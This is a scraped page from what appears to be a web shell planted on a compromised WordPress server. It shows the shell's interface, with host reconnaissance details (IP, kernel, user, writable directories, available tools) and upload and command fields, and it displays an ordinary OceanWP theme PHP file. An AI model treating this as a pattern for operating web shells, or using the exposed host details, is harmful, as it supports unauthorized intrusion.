403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.61
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/themes/oceanwp/inc/customizer/extend-section/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/themes/oceanwp/inc/customizer/extend-section/class-section.php
<?php

if ( class_exists( 'WP_Customize_Section' ) ) {

	class OWP_Customize_Section extends WP_Customize_Section {

		public $section;
		public $after;
		public $section_class;
		public $type = 'owp_section';


		public function json() {

			$array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'panel', 'type', 'description_hidden', 'section', 'after', 'section_class' ) );
			$array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) );
			$array['content'] = $this->get_content();
			$array['active'] = $this->active();
			$array['instanceNumber'] = $this->instance_number;

			if ( $this->panel ) {

				$array['customizeAction'] = sprintf( 'Customizing &#9656; %s', esc_html( $this->manager->get_panel( $this->panel )->title ) );

			} else if ( $this->section ) {

				$array['customizeAction'] = sprintf( 'Customizing &#9656; %s', esc_html( $this->manager->get_section( $this->section )->title ) );

			} else {

				$array['customizeAction'] = 'Customizing';

			}

			return $array;

		}

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit